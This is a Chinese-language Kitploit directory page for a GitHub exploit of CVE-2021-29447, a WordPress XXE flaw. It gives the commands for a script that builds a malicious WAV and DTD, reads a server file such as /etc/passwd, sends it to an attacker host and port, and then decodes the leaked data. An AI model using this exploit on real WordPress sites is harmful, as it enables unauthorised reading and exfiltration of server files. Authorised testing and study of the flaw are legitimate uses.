Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-29447 | Kitploit
工具/GitHubGitHub/danilo1992-sys/cve-2021-29447
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubdanilo1992-sys/cve-2021-29447

CVE-2021-29447

查看仓库
5个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-29447 - WordPress XXE 漏洞利用

描述

该存储库包含一个针对 CVE-2021-29447 的 exploit,这是 WordPress 5.7.0 及更早版本中存在的一个 XXE(XML 外部实体)漏洞。该漏洞存在于处理 WAV 文件的媒体库中,允许攻击者读取服务器上的任意文件。

要求

  • Bash
  • Python 3
  • Docker 和 Docker Compose(用于搭建测试环境)
  • 存在漏洞的 WordPress 服务器(5.7.0 或更低版本)

文件

文件描述
CVE-2021-29447.sh生成恶意 WAV payload 和 DTD 文件的利用脚本
decode.php用于解码泄露数据的 PHP 脚本(base64 + zlib)
docker-compose.yml用于测试的含漏洞 WordPress Docker 环境

用法

1. 启动测试环境

root@kitploit:~
docker-compose up -d

2. 运行 exploit

root@kitploit:~
chmod +x CVE-2021-29447.sh
./CVE-2021-29447.sh -l <LHOST> -p <LPORT> -f <archivo_objetivo>

参数:

  • -l 攻击者 IP(LHOST)
  • -p 攻击者端口(LPORT)
  • -f 服务器上要读取的文件路径
  • -h 显示帮助

示例:

root@kitploit:~
./CVE-2021-29447.sh -l 192.168.1.100 -p 4444 -f /etc/passwd

3. 解码数据

泄露的数据将以 base64 编码并使用 zlib 压缩。要解码它们:

root@kitploit:~
php decode.php

技术原理

该 exploit 的工作原理是在 WAV 文件的元数据中插入一个 XXE 外部实体。当 WordPress 处理该文件时,XML 解析器会解析该外部实体,导致服务器向攻击者的服务器发起 HTTP 请求,并将文件内容编码后放在 URL 中。

参考

  • CVE-2021-29447
  • WordPress 5.7.0 安全版本

免责声明

此代码仅用于教育和经授权的渗透测试目的。请勿在未经明确授权的系统上使用。

下载工具